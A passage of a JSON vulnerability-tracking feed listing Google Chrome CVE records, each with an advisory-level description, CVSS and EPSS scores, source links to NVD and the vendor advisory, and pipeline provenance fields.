Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113331","asOf":"2026-10-22T23:18:29.610Z"},"epss":{"probability":0.00452,"percentile":0.39026,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113331&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113331","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113331","type":"primary","publishedAt":"2026-10-20T22:19:27.610Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113331&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113331, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113330","cveId":"CVE-2026-113330","aliases":[],"kind":"vulnerability","title":"Memory corruption in CustomTabs in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a...","summary":"Memory corruption in CustomTabs in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in CustomTabs in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:27.483Z","updatedAt":"2026-10-22T12:00:20.177Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113330","asOf":"2026-10-22T12:00:20.177Z"},"epss":{"probability":0.00426,"percentile":0.3657,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113330&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113330","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113330","type":"primary","publishedAt":"2026-10-20T22:19:27.483Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113330&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113330, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113327","cveId":"CVE-2026-113327","aliases":[],"kind":"vulnerability","title":"Use after free in Chromecast in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Chromecast in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Chromecast in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:27.140Z","updatedAt":"2026-10-21T17:04:00.930Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113327","asOf":"2026-10-21T17:04:00.930Z"},"epss":{"probability":0.00443,"percentile":0.38245,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113327&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113327","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113327","type":"primary","publishedAt":"2026-10-20T22:19:27.140Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113327&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113327, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113324","cveId":"CVE-2026-113324","aliases":[],"kind":"vulnerability","title":"Use after free in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:26.800Z","updatedAt":"2026-10-21T17:04:06.840Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113324","asOf":"2026-10-21T17:04:06.840Z"},"epss":{"probability":0.00443,"percentile":0.38253,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113324&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113324","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113324","type":"primary","publishedAt":"2026-10-20T22:19:26.800Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113324&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113324, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113323","cveId":"CVE-2026-113323","aliases":[],"kind":"vulnerability","title":"Use after free in Chrome for iOS in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...","summary":"Use after free in Chrome for iOS in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Use after free in Chrome for iOS in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:26.683Z","updatedAt":"2026-10-22T11:59:04.510Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113323","asOf":"2026-10-22T11:59:04.510Z"},"epss":{"probability":0.00443,"percentile":0.38251,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113323&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113323","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113323","type":"primary","publishedAt":"2026-10-20T22:19:26.683Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113323&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113323, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113321","cveId":"CVE-2026-113321","aliases":[],"kind":"vulnerability","title":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:26.440Z","updatedAt":"2026-10-21T17:04:21.923Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113321","asOf":"2026-10-21T17:04:21.923Z"},"epss":{"probability":0.00443,"percentile":0.38247,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113321&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113321","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113321","type":"primary","publishedAt":"2026-10-20T22:19:26.440Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113321&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113321, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113320","cveId":"CVE-2026-113320","aliases":[],"kind":"vulnerability","title":"Memory corruption in Navigation in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...","summary":"Memory corruption in Navigation in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Navigation in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:26.337Z","updatedAt":"2026-10-22T11:58:50.153Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113320","asOf":"2026-10-22T11:58:50.153Z"},"epss":{"probability":0.00453,"percentile":0.39051,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113320&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113320","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113320","type":"primary","publishedAt":"2026-10-20T22:19:26.337Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113320&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113320, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113319","cveId":"CVE-2026-113319","aliases":[],"kind":"vulnerability","title":"Use after free in Accessibility in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Accessibility in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Accessibility in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:26.227Z","updatedAt":"2026-10-21T17:04:28.437Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113319","asOf":"2026-10-21T17:04:28.437Z"},"epss":{"probability":0.00443,"percentile":0.38247,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113319&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113319","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113319","type":"primary","publishedAt":"2026-10-20T22:19:26.227Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113319&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113319, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113318","cveId":"CVE-2026-113318","aliases":[],"kind":"vulnerability","title":"Memory corruption in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Memory corruption in ServiceWorker in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:26.120Z","updatedAt":"2026-10-21T17:05:01.717Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113318","asOf":"2026-10-21T17:05:01.717Z"},"epss":{"probability":0.00443,"percentile":0.38248,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113318&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113318","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113318","type":"primary","publishedAt":"2026-10-20T22:19:26.120Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113318&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113318, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113317","cveId":"CVE-2026-113317","aliases":[],"kind":"vulnerability","title":"Memory corruption in Accessibility in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a...","summary":"Memory corruption in Accessibility in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Memory corruption in Accessibility in Google Chrome on on Mac prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:26.010Z","updatedAt":"2026-10-22T11:57:56.060Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113317","asOf":"2026-10-22T11:57:56.060Z"},"epss":{"probability":0.00443,"percentile":0.38248,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113317&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113317","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113317","type":"primary","publishedAt":"2026-10-20T22:19:26.010Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113317&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113317, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113316","cveId":"CVE-2026-113316","aliases":[],"kind":"vulnerability","title":"Improper input validation in Views in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Improper input validation in Views in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Improper input validation in Views in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:25.897Z","updatedAt":"2026-10-21T17:05:11.993Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113316","asOf":"2026-10-21T17:05:11.993Z"},"epss":{"probability":0.00443,"percentile":0.38251,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113316&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113316","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113316","type":"primary","publishedAt":"2026-10-20T22:19:25.897Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113316&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113316, scored 2026-10-25. 